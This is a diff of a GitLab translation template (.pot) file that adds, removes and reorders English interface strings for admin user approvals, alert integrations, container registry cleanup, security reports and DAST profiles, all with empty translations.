+msgstr ""
+
+msgid "%{labelStart}Assert:%{labelEnd} %{assertion}"
+msgstr ""
+
msgid "%{labelStart}Class:%{labelEnd} %{class}"
msgstr ""
@@ -547,9 +552,6 @@ msgstr ""
msgid "%{labelStart}File:%{labelEnd} %{file}"
msgstr ""
-msgid "%{labelStart}Headers:%{labelEnd} %{headers}"
-msgstr ""
-
msgid "%{labelStart}Image:%{labelEnd} %{image}"
msgstr ""
@@ -565,13 +567,13 @@ msgstr ""
msgid "%{labelStart}Scanner:%{labelEnd} %{scanner}"
msgstr ""
-msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
+msgid "%{labelStart}Sent request:%{labelEnd} %{headers}"
msgstr ""
-msgid "%{labelStart}Status:%{labelEnd} %{status}"
+msgid "%{labelStart}Severity:%{labelEnd} %{severity}"
msgstr ""
-msgid "%{labelStart}URL:%{labelEnd} %{url}"
+msgid "%{labelStart}Unmodified response:%{labelEnd} %{headers}"
msgstr ""
msgid "%{label_for_message} unavailable"
@@ -604,9 +606,6 @@ msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
msgstr ""
-msgid "%{loadingIcon} Started"
-msgstr ""
-
msgid "%{location} is missing required keys: %{keys}"
msgstr ""
@@ -707,34 +706,13 @@ msgstr[1] ""
msgid "%{remaining_approvals} left"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
+msgid "%{reportType} %{status}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} and %{highStart}%{high} high%{highEnd} severity vulnerabilities."
+msgid "%{reportType} detected %{totalStart}%{total}%{totalEnd} potential %{vulnMessage}"
msgstr ""
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{criticalStart}%{critical} critical%{criticalEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities out of %{total}."
-msgstr ""
-
-msgid "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerability."
-msgid_plural "%{reportType} %{status} detected %{highStart}%{high} high%{highEnd} severity vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected %{other} vulnerability."
-msgid_plural "%{reportType} %{status} detected %{other} vulnerabilities."
-msgstr[0] ""
-msgstr[1] ""
-
-msgid "%{reportType} %{status} detected no vulnerabilities."
+msgid "%{reportType} detected %{totalStart}no%{totalEnd} vulnerabilities."
msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
@@ -792,6 +770,9 @@ msgstr ""
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
+msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
+msgstr ""
+
msgid "%{strong_start}%{branch_count}%{strong_end} Branch"
msgid_plural "%{strong_start}%{branch_count}%{strong_end} Branches"
msgstr[0] ""
@@ -889,6 +870,9 @@ msgstr ""
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} has asked for a GitLab account on your instance %{host}:"
+msgstr ""
+
msgid "%{username}'s avatar"
msgstr ""
@@ -907,12 +891,6 @@ msgstr ""
msgid "&lt; 1 hour"
msgstr ""
-msgid "&lt;no scopes selected&gt;"
-msgstr ""
-
-msgid "&lt;project name&gt;"
-msgstr ""
-
msgid "'%{data}' at %{location} does not match format: %{format}"
msgstr ""
@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
